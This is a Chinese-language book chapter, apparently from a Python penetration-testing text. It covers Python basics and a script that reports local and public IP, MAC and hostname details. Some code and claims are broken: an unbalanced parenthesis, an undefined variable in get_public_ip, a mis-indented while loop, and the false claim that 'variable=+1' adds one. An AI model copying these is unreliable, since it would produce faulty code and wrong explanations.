import 导入库的方式
print 输出数据到 标准输出 (STDOUT) 的语句
try 条件处理程序测试

如果你想确认一个名称是否是关键字,可以启动交互式解释器,并将一个变量设置为特定的关键字名称。然后,通过关键字的函数运行它。如果返回 true,那么你就知道它是一个关键字;如果返回 false,你就知道它不是。参考以下截图更好地理解这个概念:

保留字、关键字和内置函数

全局和局部变量

全局变量是在函数外定义的,局部变量是在特定函数内定义的。这很重要,因为如果在函数内重复使用名称,其值通常只会在该函数内保留。如果你希望改变全局变量的值,你可以使用 global 关键字调用全局版本并设置一个新值。如果可能的话,应该避免这样做。关于局部和全局变量的使用示例,请参见以下代码:

#!/usr/bin/env python

hacker = "me"

def local_variable_example():
    hacker = "you"
    print("The local variable is %s") % (hacker)

local_variable_example()
print("The global variable is %s") % (hacker)

这个脚本的输出显示了在local_variable_example函数示例中打印局部变量hacker,然后在函数执行后打印全局变量hacker

全局和局部变量

注意

前面的例子展示了如何通过变量将值插入到字符串中。在本章的后面,将提供几种方法来实现这一点。

理解命名空间

Python 中变量的基本概念是一个名称;这些名称驻留在一个桶中。每个模块或脚本都有自己的全局命名空间,这些名称驻留在这个桶中,这个桶被称为命名空间。这意味着当一个名称被使用时,它是为特定目的而保留的。如果你再次使用它,会导致两种情况之一:要么你会覆盖这个值,要么你会看到一个错误。

模块和导入

在 Python 中,可以导入库或模块来执行特定任务或补充功能。当你编写自己的脚本时,你可以将一个脚本作为模块导入到一个新的脚本中使用。有几种方法可以做到这一点,每种方法都有其优点和缺点:

import module

这允许你导入一个模块并使用它和函数,通过引用它们类似于一个函数。例如,你可以引用模块和模块内的函数为module.function()。这意味着你的命名空间保持简单,你不必担心覆盖和冲突,不像以下方法:

from module import *

这在 Python 脚本和互联网上的示例中非常常见。危险在于所有函数或模块内的函数都直接引入。这意味着如果你在脚本中定义了一个名为hacker_tool的函数,而hacker_tool(被导入的模块包含同名的模块),你可能会遇到命名空间冲突并产生多个错误。在运行时,当脚本被解释时,它将占用更多的内存空间,因为不必要的函数被导入。然而,好处是你不必识别必要的函数,也不必使用module.function()的方法。相反,你可以直接调用function()

接下来的两种方法是引用模块或函数为不同的名称。这允许你缩短需要重用的语句,并且通常可以提高可读性。相同的命名空间冲突存在,因此你的导入和引用应该谨慎定义。第一种是将模块声明为不同的名称:

import module as a

第二种是将函数声明为不同的名称:

from module import function as a

还有其他执行这些任务的方法,但这已经足够阅读大部分生成的脚本并创建有用的工具了。

提示

你知道 Python 模块本身就是脚本吗?你可以通过查看 Windows Python 安装中的Lib目录来了解这些产品的工作方式,默认情况下为C:\Python27\Lib对于 Python 2.7. 在 Kali Linux 中,它可以在/usr/lib/python2.7找到。

Python 格式化

这种语言对我来说最大的卖点是它的格式。将脚本放在一起需要很少的工作,由于其简单的格式要求,您减少了出错的机会。对于有经验的程序员来说,可恶的;{}符号不再会因为语法错误而影响您的开发时间。

缩进

在 Python 中最重要的是缩进。Python 使用缩进来显示逻辑块的更改位置。因此,如果您正在编写一个简单的print脚本,就像前面提到的那样,您不一定会看到这一点,但是如果您正在编写一个if语句,您会看到。请参见以下示例,它打印了先前在此处提到的语句:

#!/usr/bin/env python
execute=True
if execute != False:
    print("Do you want to play a game?\n")

有关此脚本的操作和执行的更多详细信息可以在本章的复合语句部分找到。以下示例在执行不是False时将语句打印到屏幕上。这个缩进表示该函数将其与全局代码分开。

有两种创建缩进的方法:通过空格或制表符。四个空格相当于一个制表符;前面代码中的缩进表示代码逻辑与全局代码的分离。这样做的原因是,当从一个系统类型移动到另一个系统时,空格的转换效果更好,这样可以使您的代码更具可移植性。

Python 变量

Python 脚本语言有五种变量类型:数字、字符串、列表、字典和元组。这些变量具有不同的预期目的、使用原因和声明方法。在了解这些变量类型的工作方式之前,您需要了解如何调试变量并确保您的脚本正常工作。

注意

列表、元组和字典属于一个名为数据结构的变量类别。本章涵盖了足够的细节来让您起步并运行,但是您在帮助论坛中注意到的关于 Python 的大部分问题都与数据结构的正确使用和处理有关。在您开始在本书中给出的细节之外进行自己的项目时,请记住这一点。有关数据结构及其使用方法的更多信息可以在docs.python.org/2/tutorial/datastructures.html找到。

调试变量值

调试变量值的简单解决方案是确保预期的数据传递给变量。如果需要将变量中的值从一种类型转换为另一种类型,这一点尤为重要,这将在本章后面进行介绍。因此,您需要知道变量中的值,通常还需要知道它的类型。这意味着您将不得不在构建脚本时调试它们;这通常是通过使用print语句来完成的。您经常会看到初始脚本中散布着print语句。为了帮助您在以后的某个时间点清理它们,我建议给它们添加注释。我通常使用一个简单的#DEBUG注释,如下所示:

print(variable_name) #DEBUG

这将允许您快速搜索并删除#DEBUG行。在 vi 或 vim 中,这非常简单——首先按下Esc,然后按下:,然后执行以下命令,搜索并删除整行:

g/.*DEBUG/d

如果您想暂时注释掉所有#DEBUG行并稍后删除它们,可以使用以下方法:

%s/.*DEBUG/#&

字符串变量

保存字符串的变量基本上是放置在引用中的单词、语句或句子。这个项目允许在脚本中需要时轻松重用值。此外,这些变量可以被操纵以在脚本的过程中产生不同的值。要将值传递给变量,需要在选择单词后使用等号来分配一个值。在字符串中,值要么用单引号括起来,要么用双引号括起来。以下示例显示了如何使用双引号分配一个值:

variable_name = "This is the sentence passed"

以下示例显示了单引号分配给一个变量:

variable_name = 'This is the sentence passed'

允许使用单引号和双引号的原因是为了让程序员能够将其中一个插入变量作为句子的一部分。请参考以下示例以突出显示差异:

variable_name = 'This is the "sentence" passed'

除了通过此方法传递字符串或打印值,您还可以使用相同类型的引号来转义特殊字符。这是通过在任何特殊字符之前加上\符号来完成的,这有效地转义了特殊功能。以下示例突出了这一点:

variable_name = "This is the \"sentence\" passed"

声明字符串的重要事项是选择一种引号类型——单引号或双引号——并在脚本中一致使用。此外,正如您在 Python 中所看到的,变量大小不必在初始时声明。这是因为它们在运行时被解释。现在您知道如何创建包含字符串的变量了。下一步是创建包含数字的变量。

数字变量

创建保存数字的变量非常简单。您定义一个变量名,然后通过在等号的右侧放置一个数字来为它赋值,如下所示:

variable_name = 5

一旦变量被定义,它就保存了它传递的值的引用。这些变量可以被覆盖,可以对它们执行数学运算,并且甚至可以在程序运行中更改。以下示例显示了相同类型的变量被相加并打印出来。首先,我们展示了相同的变量相加并打印,然后我们展示了两个不同的变量。最后,这两个变量被相加,分配给一个新变量,并打印出来。

数字变量

请注意,传递给变量的数值没有引号。如果有引号,Python 解释器会将它们视为字符串,结果会有显著不同。请参考以下截图,显示了将相同的方法应用于具有字符串等效的数字变量:

数字变量

如您所见,这些值不是相加在一起,而是合并成一个字符串。Python 具有内置函数,允许我们将字符串解释为数字,将数字解释为字符串。此外,您可以使用type函数确定变量的类型。这个截图显示了两个变量的声明,一个是字符串,一个是整数:

数字变量

如果变量中包含小数值,它将被声明为浮点数或简称为float。这仍然是一个数值变量,但它需要不同的存储方法,正如您所看到的,解释器已经为您确定了这一点。以下截图显示了一个例子:

数字变量

转换字符串和数字变量

如数字变量部分所述,Python 具有内置函数,允许您将一个变量类型转换为另一个变量类型。作为一个简单的例子,我们将把一个数字转换为一个字符串,将一个字符串转换为一个数字。在使用交互式解释器时,如果变量值没有传递给新变量,它将立即打印出来;但是,在脚本中,它不会。如果数据通过命令行界面CLI)传递,并且您想确保数据的处理方法,这种操作方法非常有用。

这是使用以下三个函数执行的:int()str()float()。这些函数确切地做了你认为它们会做的事情;int()将其他类型的适用变量更改为整数,str()将其他适用变量类型转换为字符串,float()将适用变量转换为浮点数。重要的是要记住,如果变量无法转换为所需的类型,您将收到一个ValueError异常,如此截图所示:

转换字符串和数字变量

举个例子,让我们拿一个字符串和一个整数并尝试将它们加在一起。如果这两个值不是相同类型,你将会收到一个TypeError异常。这在以下屏幕截图中得到了证明:

转换字符串和数字变量

这就是你必须确定变量的类型并选择其中一个转换为相同类型的地方。你选择转换哪一个将取决于预期的结果。如果你想要一个包含两个数字总值的变量,那么你需要将字符串变量转换为数字类型变量。如果你想要将值组合在一起,那么你将把非字符串变量转换为字符串。这个例子展示了两个值的定义:一个是字符串,一个是整数。字符串将被转换为整数以允许数学运算继续进行,如下所示:

转换字符串和数字变量

现在你可以看到这是多么容易,考虑一下如果一个字符串变量代表一个float值并被转换为整数会发生什么。数字的小数部分将会丢失。这不会将值四舍五入;它只是去掉小数部分并给出一个整数。请参考以下屏幕截图以了解这个例子:

转换字符串和数字变量

所以一定要将数字变量更改为适当的类型。否则,一些数据将会丢失。

列表变量

列表是一种数据结构,以一种可以组织、调整和轻松操作的方式保存值。在 Python 中识别列表的简单方法是通过[],它表示值将驻留的位置。对这些列表的操作是基于通常通过位置调整值。要创建一个列表,定义一个变量名,并在等号的右侧放置用逗号分隔的值的括号。这个简单的脚本计算预定义列表的长度,并迭代并打印列表的位置和值。重要的是要记住,列表从位置 0 开始,而不是 1。由于列表可以包含不同类型的变量以包含其他列表,我们将打印值作为字符串以确保安全:

#!/usr/bin/env python

list_example = [100,222,333,444,"string value"]
list_example_length = len(list_example)
for iteration in list_example:
 index_value = list_example.index(iteration)
 print("The length of list list_example is %s, the value at position %s is %s") % (str(list_example_length), str(index_value), str(iteration).strip('[]'))

print("Script finished")

以下屏幕截图显示了此脚本的成功执行:

列表变量

正如你所看到的,从列表中提取值并将它们转换为数字或字符串值是重要的概念。列表用于保存多个值,并提取这些值以便它们可以被表示通常是必要的。以下代码向你展示了如何对字符串执行此操作:

#!/usr/bin/env python

list_example = [100,222,333,444]
list_value = list_example[2]
string_value_from_list = str(list_value)
print("String value from list: %s") % (str(list_value))

重要的是要注意,列表不能被打印为整数,所以它必须要么转换为字符串,要么通过迭代打印。为了只显示简单的差异,以下代码演示了如何从列表中提取一个整数值并打印它和一个字符串:

#!/usr/bin/env python

list_example = [100,222,333,444]
list_value = list_example[2]
int_value_from_list = int(list_value))
print("String value from list: %s") % (str(list_value))
print("Integer value from list: %d") % (int_value_from_list)

列表值可以进一步使用特定于列表的函数进行操作。您只需调用列表的名称,然后在列表中添加.function(x),其中function是您想要完成的特定活动的名称,x是您想要操作的位置或数据。一些常用的函数包括向列表末尾添加值,例如数字 555,可以这样完成:list_example.append(555)。您甚至可以合并列表;这是使用extend函数完成的,它将相关项目添加到列表的末尾。通过执行以下函数来完成:list_example.extend(list_example2)。如果要删除值 555,只需执行list_example.remove(555)。可以使用名为insert的适当命名的函数在特定位置插入值,如此:list_example.insert(0, 555)。这里将描述的最后一个函数是pop函数,它允许您通过传递位置值来删除特定位置的值,或者通过指定没有值来删除列表中的最后一个条目。

元组变量

元组类似于列表,但与列表不同的是,它们使用()进行定义。此外,它们是不可变的;也就是说,它们不能被更改。这样做的动机是为了在复杂操作中控制数据的方式,以便在过程中不破坏它。元组可以被删除,并且可以创建一个新的元组来保存不同元组数据的部分,并显示数据已更改的样子。元组的简单规则如下:如果要保持数据不变,请使用元组;否则,请使用列表。

字典变量

字典是将键与值关联起来的一种方式。如果看到花括号,这意味着您正在查看一个字典。键表示对存储在无序数据结构中的特定值的引用。您可能会问自己为什么要这样做,当标准变量已经做了类似的事情。字典为您提供了存储其他变量和变量类型作为值的手段。它们还允许根据需要快速轻松地引用。您将在后面的章节中看到字典的详细示例;现在,请查看以下示例:

#!/usr/bin/env python
dictionary_example = {'james':123,'jack':456}
print(dictionary_example['james'])

此示例将打印与'james'键相关的数字,如下图所示:

字典变量

向字典中添加数据非常简单;您只需为字典分配一个新的键和一个该键的值。例如,要将值789添加到'john'键,您可以执行以下操作:dictionary_example['john'] = 789。这将为字典分配新的值和键。关于字典的更多细节将在后面介绍,但这已足以理解它们。

理解默认值和构造函数

以前编程或脚本编写过的人可能习惯于声明具有默认值的变量或设置构造函数。

在 Python 中,这并不是必须的,但在使用变量之前设置默认值是一个好习惯。除了是一个良好的实践外,它还可以减轻脚本出现意外错误和崩溃的一些原因。这也将增加可追溯性,如果将意外值传递给变量。

提示

在 Python 中,当实例化新对象时,构造方法由__init____new__处理。然而,当创建新类时,只需要使用__init__函数作为类的构造函数。这将在很久以后才需要,但请记住;如果您想开发多线程应用程序,这很重要。

将变量传递给字符串

假设你想要生成一个带有动态值的字符串,或者在打印字符串时包含一个变量并实时解释值。使用 Python,你可以用多种方式做到。你可以使用算术符号,比如+,来组合数据,或者使用特殊的字符组合来插入值。

第一个例子将使用两个字符串和一个变量的组合与语句一起创建一个动态语句,如下所示:

#!/usr/bin/env python
name = "Hacker"
print("My profession is "+name+", what is yours?")

这将产生以下输出:

将变量传递给字符串

创建第一个脚本后,可以通过直接将值插入字符串来改进它。这是通过使用%特殊字符并附加s用于字符串或d用于数字来实现的。然后在print语句后附加%符号,并在所需的变量或变量周围包装参数。这样可以快速轻松地控制数据,并在原型设计或创建脚本时清理细节。

参数中的变量被传递以替换语句中的键入符号。以下是这种类型脚本的一个例子:

#!/usr/bin/env python
name = "Hacker"
print("My profession is %s, what is yours?") % (name)

下图显示了代码的执行:

将变量传递给字符串

另一个好处是,你可以在不大幅改变脚本的情况下插入多个值,就像下面的例子所示:

#!/usr/bin/env python

name = "Hacker"
name2 = "Penetration Tester"

print("My profession is %s, what is yours? %s") % (name, name2)

将变量传递给字符串

可以像前面提到的那样使用数字进行插入,并将%s更改为%d

#!/usr/bin/env python

name = "Hacker"
name2 = "Penetration Tester"
years = 15

print("My profession is %s, what is yours? %s, with %d years experience!") % (name, name2, years)

输出可以在这个截图中看到:

将变量传递给字符串

可以直接传递语句,而不是使用变量。通常没有这样做的理由,因为变量提供了一种改变代码并将其应用于整个脚本的方法。在可能的情况下,应该使用变量来定义必要的语句。当你开始编写将传递给系统的语句时,这一点非常重要。使用组合的变量来创建将在 Python 脚本中执行的命令。如果这样做,你可以通过简单更改特定值来改变提供给系统的内容。稍后将介绍更多关于这方面的例子。

运算符

Python 中的运算符是代表功能执行的符号。

注意

关于这方面的更多细节可以在docs.python.org/2/library/operator.html找到。

重要的是要记住,Python 具有广泛的功能,允许进行复杂的数学和比较操作。这里只涵盖了其中的一部分,以便为更详细的工作做好准备。

比较运算符

比较运算符根据评估方法检查条件是否为真或假。简单来说,我们试图确定一个值是否等于、不等于、大于、小于、大于等于或小于等于另一个值。有趣的是,Python 的比较运算符非常直接。

下表将帮助定义运算符的细节:

比较测试 运算符
两个值是否相等? ==
值是否不相等? !=
左边的值是否大于右边的值? >
左边的值是否小于右边的值? <
左边的值是否大于或等于右边的值? >=
左边的值是否小于或等于右边的值? <=

赋值运算符

当人们从其他语言过渡时,赋值运算符会让大多数人感到困惑。原因在于 AND 赋值运算符与大多数语言不同。习惯于在其他语言中使用variable++格式的增量器简写的人,往往会困惑地发现在 Python 中并没有进行完全相同的操作。

在 Python 中,变量增量器的功能等效于variable=+1,这与variable = variable + 1是一样的。然而,你可能会注意到这里的一点;你可以在这个表达式中定义要添加到变量中的内容。因此,与双加号表示“将 1 添加到这个变量”不同,AND 表达式允许你向其中添加任何你想要的东西。

当你编写漏洞利用时,这很重要,因为你可以使用这个运算符将多个十六进制值附加到同一个字符串上,就像前面的字符串连接示例中所示,其中两个字符串被相加在一起。第八章,使用 Python、Metasploit 和 Immunity 进行漏洞开发,将在开发远程代码执行RCE)漏洞时涵盖更多内容。在那之前,考虑一下这个表格,看看不同的赋值运算符及其用途:

赋值操作 运算符
将一个值设置为某物 =
添加一个值到左边的变量,并将新值设置为左边的同一个变量 +=
从左边的变量中减去一个值,并将新值设置为左边的同一个变量 -=
乘以左边的变量的值,并将新值设置为左边的同一个变量 *=
除以左边的变量的值,并将新值设置为左边的同一个变量 /=

算术运算符

算术运算符总体上非常简单,就像你所期望的那样。加法运算使用+符号,减法运算使用-,乘法运算使用*,除法运算使用/。还有其他可以使用的项目,但这四个涵盖了你将要看到的大多数情况。

逻辑和成员运算符

逻辑和成员运算符使用单词而不是符号。一般来说,Python 中最令人困惑的运算符是成员运算符,因为新的脚本编写者会把它们当作逻辑运算符。所以让我们来看看逻辑运算符到底是什么。

逻辑运算符帮助语句或复合语句确定是否满足多个条件,从而证明“真”或“假”条件。那么这在通俗的术语中是什么意思呢?看看下面的脚本,它有助于确定两个变量是否包含所需的值以继续执行:

#!/usr/bin/env python

a = 10
b = 5
if a == 10 and b == 5:
 print("The condition has been met")
else:
 print("the condition has not been met")

逻辑运算符包括andornot,可以与更复杂的语句结合使用。这里的not运算符可能会与成员运算符中的not in混淆。not测试会反转组合条件测试。以下示例特别突出了这一点;如果两个值都为False或不相等,则条件满足;否则,测试失败。原因在于测试检查它是否都是。类似于这样的示例确实会出现,但并不常见,如果你对逻辑流程还不感到舒适,可以避免使用这种类型的代码:

#!/usr/bin/env python

a = False
b = False
if not(a and b):
 print("The condition has been met")
else:
 print("The condition has not been met")

成员运算符则测试变量是否为其一部分的值。这两种类型的运算符是innot in。以下是它们的使用示例:

#!/usr/bin/env python

variable = "X-Team"

if "Team" in variable:
 print("The value of Team is in the variable")
else:
 print("The value of Team is not in the variable")

这段代码的逻辑将导致语句返回为True,并且第一个条件消息将被打印到屏幕上。

复合语句

复合语句包含其他语句。这意味着测试或执行truefalse时,会执行其中的语句。关键是编写语句,使其既高效又有效。这包括if then语句、循环和异常处理的示例。

if 语句

if语句测试特定条件,如果满足(或不满足)条件,则执行语句。if语句可以包括一个简单的检查,以查看变量是true还是false,然后打印详细信息,如下例所示:

x = 1
if x == 1:
 print("The variable x has a value of 1")

if语句甚至可以用于同时检查多个条件。请记住,它将执行满足条件的复合语句的第一部分并跳过其余部分。以下是一个建立在前一个示例基础上的示例,使用elseelif语句。else语句是一个捕获所有的语句,如果没有满足ifelif语句,则执行。elif测试是一个后续的if测试。它的条件可以在if之后和else之前进行测试。请参考以下示例以更好地理解:

#!/usr/bin/env python
x=1
if x == 3:
 print("The variable x has a value of 3")
elif x == 2:
 print("The variable x has a value of 2")
elif x == 1:
 print("The variable x has a value of 1")
else:
 print("The variable x does not have a value of 1, 2, or 3")

从这些语句中可以看出,第二个elif语句将处理结果。将x的值更改为其他值,然后查看脚本流程是如何工作的。

请记住一件事:测试条件需要仔细思考测试结果。以下是一个if测试的示例,根据变量值可能不会提供预期结果:

#!/usr/bin/env python

execute=True
if execute != False:
 print("Do you want to play a game?\n")

这个脚本将execute变量设置为True。然后,if是带有print语句的脚本。如果变量既没有被设置为True也没有被设置为False,语句仍然会被打印。原因是我们只是测试execute变量不等于False。只有当execute被设置为False时,才不会打印任何内容。

Python 循环

循环是一种语句,它一遍又一遍地执行,直到条件满足或不满足为止。如果在另一个循环中创建了一个循环,则称为嵌套循环。在渗透测试中,通常不认为在彼此之间有多个循环是最佳实践。这是因为如果它们没有得到适当控制,它可能会导致内存耗尽的情况。循环有两种主要形式:while循环和for循环。

while 循环

while循环在情况为真或假且您希望测试在条件有效时执行时非常有用。例如,此while循环检查x的值是否大于0,如果是,则循环将继续处理数据:

x=5
while x > 0:
print("Your current count is: %d") % (x)
 x -= 1

for 循环

for循环的执行是基于已经建立的情况并对其进行测试的想法。举个简单的例子,您可以创建一个脚本,逐个计算 1 到 15 之间的一系列数字,然后打印结果。以下是一个for循环语句的示例:

for iteration in range(1,15,1):
 print("Your current count is: %d") % (iteration)

中断条件

break条件用于退出循环并从下一个语句继续处理脚本。当循环内发生特定情况而不是循环的下一个迭代时,使用break来控制循环。尽管break可以用于控制循环,但您应该考虑以这样的方式编写代码,以便您不需要break。以下带有break条件的循环将在变量值等于5时停止执行:

#!/usr/bin/
numeric = 15
while numeric > 0:
    print("Your current count is: %d") %(numeric)
    numeric -= 1
    if numeric == 5:
        break
print("Your count is finished!")

此脚本的输出如下:

中断条件

尽管这样可以工作,但可以通过更好设计的脚本实现相同的结果,如下面的代码所示:

#!/usr/bin/env python

numeric = 15
for iteration in range(numeric,5,-1):
 print("Your current count is: %d") % (iteration)

print("Your count is finished!")

如您所见,使用更干净和更易管理的代码产生了相同的结果:

中断条件

条件处理程序

Python,像许多其他语言一样,具有处理异常或相对意外情况发生的能力。在这种情况下,会发生捕获并捕获错误和后续活动的情况。这是通过tryexcept子句完成的,它们处理条件。例如,我经常使用条件处理程序来确定是否安装了必要的库,如果没有安装,它会告诉您如何在哪里获取它。这是一个简单但有效的例子:

try:
 import docx
 from docx.shared import Inches
except:
 sys.exit("[!] Install the docx writer library as root or through sudo: pip install python-docx")

函数

Python 函数允许脚本作者创建可重复的任务,并在整个脚本中频繁调用它。当函数是类或模块的一部分时,这意味着可以从另一个脚本,也称为模块,中专门调用脚本的某个部分,一旦导入就执行任务。使用 Python 函数的另一个好处是减少脚本大小。一个经常意想不到的好处是能够从一个脚本复制函数到另一个脚本,加快开发速度。

动态类型语言对函数的影响

请记住,变量保存对对象的引用,因此在编写脚本时,您正在使用引用值执行测试。关于这一点的一个事实是变量可以更改,仍然可以指向原始值。当变量通过参数传递给函数时,它作为原始对象的别名进行。因此,当您编写函数时,函数内的变量名称通常会有所不同——而且应该有所不同。这可以更容易地进行故障排除,使脚本更清洁,并且更准确地控制错误。

花括号

如果您曾经在另一种语言中编写过,会让您感到惊讶的是没有像这样的花括号{}。这通常是为了界定逻辑测试或复合语句的代码停止和开始的地方,比如循环,if语句,函数,甚至整个类。相反,Python 使用前面提到的缩进方法,缩进越深,语句嵌套越多。

注意

嵌套语句或函数意味着在逻辑测试或复合语句中,正在执行另一个额外的逻辑测试。一个例子是在另一个if语句中的if语句。这种类型的更多示例将在本章后面看到。

为了看到 Python 和其他语言中逻辑测试之间的差异,将展示 Perl 函数的一个示例,称为子例程。还将演示等效的 Python 函数,以展示差异。这将突出显示 Python 如何在整个脚本中控制逻辑流。随时尝试这两个脚本,看看它们是如何工作的。

注意

由于包含了return语句,以下 Python 脚本比 Perl 脚本稍长。这对于此脚本并非必需,但许多脚本作者会养成这个习惯。此外,print语句已经修改,如您所见,以支持 Python 的 2.X 版本和 3.X 版本。

这是Perl函数的一个例子:

#!/usr/bin/env perl

# Function in Perl
sub wargames{
 print "Do you want to play a game?\n";
print "In Perl\n";
}

# Function call
wargames();

以下函数是 Python 中的等效函数:

#!/usr/bin/env python

# Function in Python
def wargames():
 print("Do you want to play a game?")
print("In Python")
return

# Function call
wargames()

这两个脚本的输出可以在这个截图中看到:

Curly brackets

相反,在 Python 中,花括号用于字典,如本章的Python 变量部分中先前描述的。

如何注释您的代码

在脚本语言中,注释对于阻止代码和/或描述其试图实现的内容非常有用。Python 中有两种类型的注释:单行和多行。单行注释使#符号到行尾的所有内容都成为注释;它不会被解释。如果您在行上放置代码,然后在行尾跟上注释,代码仍将被处理。以下是有效的单行注释用法的示例:

#!/usr/bin/env python
#Author: Chris Duffy
#Date: 2015
x = 5 #This defines the value of the x followed by a comment

这样做也可以,但使用多行注释可能更容易,因为在前面的代码中有两行是注释。多行注释是通过在开始和结束注释块的每一行放置三个引号来创建的。以下代码展示了这种情况的一个例子:

"""
Author: Chris Duffy
Date: 2015
"""

Python 风格指南

在编写脚本时,有一些命名约定是常见的,适用于脚本和编程。这些约定更多是指导方针和最佳实践,而不是硬性规定,这意味着你会听到双方的意见。由于脚本是一种艺术形式,你会看到一些反驳这些建议的例子,但遵循它们会提高可读性。

注意

这里的大部分建议都是从 Python 的风格指南中借鉴而来的,可以在legacy.python.org/dev/peps/pep-0008/找到,并且有后续的风格指南。

如果你在这里看到了与本指南不直接匹配的具体内容,请记住,所有的评估者都会养成不同的习惯和风格。关键是尽可能地融入尽可能多的最佳实践,同时不影响开发的速度和质量。

类通常以大写字母开头,第一个单词的其余部分是小写的。之后的每个单词也以大写字母开头。因此,如果你看到一个定义的引用被使用,并且以大写字母开头,那么它很可能是一个类或模块名。在定义类时,单词之间不应该使用空格或下划线,尽管人们通常会忘记或打破这个规则。

函数

在开发函数时,记住单词应该是小写的,并用下划线分隔。

变量和实例名称

变量和实例应该是小写的,用下划线分隔单词,如果它们是私有的,必须以两个下划线开头。公共私有变量在主要的编程语言中很常见,但在 Python 中并不是真正必要的。如果你想要在 Python 中模拟私有变量的功能,你可以用__开头来定义它为私有。在 Python 中,私有成员的主要好处是防止命名空间冲突。

参数和选项

脚本可以传递参数的多种方式;我们将在未来的章节中更多地涵盖这一点,因为它们适用于特定的脚本。获取参数的最简单方式是在没有选项的情况下传递它们。参数是传递给脚本的值,以赋予它们一些动态能力。

选项是表示对脚本的特定调用的标志,说明将要提供的参数。换句话说,如果你想要获取脚本的帮助或使用说明,通常会传递-h选项。如果你编写一个既接受 IP 地址又接受 MAC 地址的脚本,你可以配置它使用不同的选项来表示即将提供给它的数据。

编写脚本以接受选项要详细得多,但并不像人们所说的那么难。现在,让我们只看一下基本的参数传递。参数可以通过sys库和argv函数本地创建。当参数被传递时,包含它们的列表被创建在sys.argv中,从位置 0 开始。

提供给argv的第一个参数是运行的脚本的名称,随后提供的每个参数代表其他的参数值:

#!/usr/bin/env python

import sys

arguments = sys.argv
print("The number of arguments passed was: %s") % (str(len(arguments)))
i=0
for x in arguments:
 print("The %d argument is %s") % (i,x)
 i+=1

这个脚本的输出产生了以下结果:

参数和选项

你的第一个评估脚本

现在您已经了解了在 Python 中创建脚本的基础知识,让我们创建一个对您实际有用的脚本。在后面的章节中,您需要了解每个接口的本地和公共 IP 地址,主机名,媒体访问控制MAC)地址和完全限定域名FQDN)。接下来的脚本演示了如何执行所有这些操作。这里的一些概念可能仍然显得陌生,特别是如何从接口中提取 IP 和 MAC 地址。不要担心这一点;这不是您要编写的脚本。您可以使用这个脚本,但它在这里是为了向您展示,您可以拯救脚本的组件,甚至看似复杂的组件,以开发自己的简单脚本。

注意

此脚本使用一种技术,通过查询基于已在多个 Python 模块和示例中使用的接口的详细信息来提取 Linux/Unix 系统的 IP 地址。这种技术的具体方法可以在许多地方找到,但对这种技术的最好记录参考可以在code.activestate.com/recipes/439094-get-the-ip-address-associated-with-a-network-inter/找到。

让我们将脚本分解为其组件。这个脚本使用了一些函数,使执行更清晰和可重复。第一个函数称为get_ip。它接受一个接口名称,然后尝试为该接口识别 IP 地址:

def get_ip(inter):
 s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
 ip_addr = socket.inet_ntoa(fcntl.ioctl(s.fileno(), 0x8915, struct.pack('256s', inter[:15]))[20:24])
 return ip_addr

第二个名为get_mac_address的函数标识特定接口的 MAC 地址:

def get_mac_address(inter):
 s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
 info = fcntl.ioctl(s.fileno(), 0x8927,  struct.pack('256s', inter[:15]))
 mac_address = ''.join(['%02x:' % ord(char) for char in info[18:24]])[:-1]
 return mac_address

正如您所看到的,这些函数依赖于 socket 库的低级网络接口语言。您的注意力不应该放在理解这个函数的每个细节上,而应该放在信息流、使用的变量类型以及库的集成方式上。原因是您将稍后生成一个需要更少组件并复制获取公共 IP 地址活动的脚本。

第三个函数获取主机的详细信息,并将它们返回给脚本的主要部分。它确定主机是否为 Windows,以便调用正确的函数。该函数接受两个列表,一个用于 Linux/Unix 中典型的以太网接口和无线接口。这些接口通过在这个更大的函数中调用的先前函数进行处理。这允许决策由get_localhost_details函数处理,然后返回主机的值,这些值将由脚本末尾的print语句表示:

def get_localhost_details(interfaces_eth, interfaces_wlan):
    hostdata = "None"
    hostname = "None"
    windows_ip = "None"
    eth_ip = "None"
    wlan_ip = "None"
    host_fqdn = "None"
    eth_mac = "None"
    wlan_mac = "None"
    windows_mac = "None"
    hostname = socket.gethostbyname(socket.gethostname())
    if hostname.startswith("127.") and os.name != "nt":
        hostdata = socket.gethostbyaddr(socket.gethostname())
        hostname = str(hostdata[1]).strip('[]')
        host_fqdn = socket.getfqdn()
        for interface in interfaces_eth:
            try:
                eth_ip = get_ip(interface)
                if not "None" in eth_ip:
                    eth_mac = get_mac_address(interface)
                break
            except IOError:
                pass
        for interface in interfaces_wlan:
            try:
                wlan_ip = get_ip(interface)
                if not "None" in wlan_ip:
                    wlan_mac = get_mac_address(interface)
                break
            except IOError:
                pass
    else:
        windows_ip = socket.gethostbyname(socket.gethostname())
        windows_mac = hex(getnode()).lstrip('0x')
        windows_mac = ':'.join(pos1+pos2 for pos1,pos2 in zip(windows_mac[::2],windows_mac[1::2]))
        hostdata = socket.gethostbyaddr(socket.gethostname())
        hostname = str(hostdata[1]).strip("[]\'")
        host_fqdn = socket.getfqdn()
    return hostdata, hostname, windows_ip, eth_ip, wlan_ip, host_fqdn, eth_mac, wlan_mac, windows_mac

此脚本中的最后一个函数称为get_public_ip,它查询已知网站的 IP 地址,并将该 IP 地址以简单的原始格式返回到网页。有许多网站可以执行此操作,但请确保您知道可接受的使用和授权的服务条款。该函数接受一个输入,即您要执行查询的网站:

def get_public_ip(request_target):
    grabber = urllib2.build_opener()
    grabber.addheaders = [('User-agent','Mozilla/5.0')]
    try:
        public_ip_address = grabber.open(target_url).read()
    except urllib2.HTTPError, error:
        print("There was an error trying to get your Public IP: %s") % (error)
    except urllib2.URLError, error:
        print("There was an error trying to get your Public IP: %s") % (error)
    return public_ip_address

对于 Windows 系统,此脚本利用简单的socket.gethostbyname(socket.gethostname())函数请求。这对 Linux 有效,但它依赖于/etc/hosts文件具有所有接口的正确信息。正如前面的参考所指出的,这个脚本的大部分可以被netifaces库替代。这将大大简化脚本,并且其使用示例将在下一章中展示。netifaces库不是默认安装的,因此您需要在要运行此脚本的每台主机上安装它。由于通常不希望对主机的完整性产生任何影响,因此特定脚本被设计为避免冲突。

提示

这个脚本的最终版本可以在raw.githubusercontent.com/funkandwagnalls/pythonpentest/master/hostdetails.py找到。

以下截图显示了运行此脚本的输出。本脚本的组件将在后续章节中使用,并且它们允许自动化开发利用配置和对网络进行侦察。

您的第一个评估脚本

因此,您的有用脚本将使用这个脚本的组件,并且只会找到您所在系统的公共 IP 地址。我建议您在查看以下代码(显示实际脚本的样子)之前尝试这样做。如果您想跳过这一步,可以在这里看到解决方案:

import urllib2

def get_public_ip(request_target):
    grabber = urllib2.build_opener()
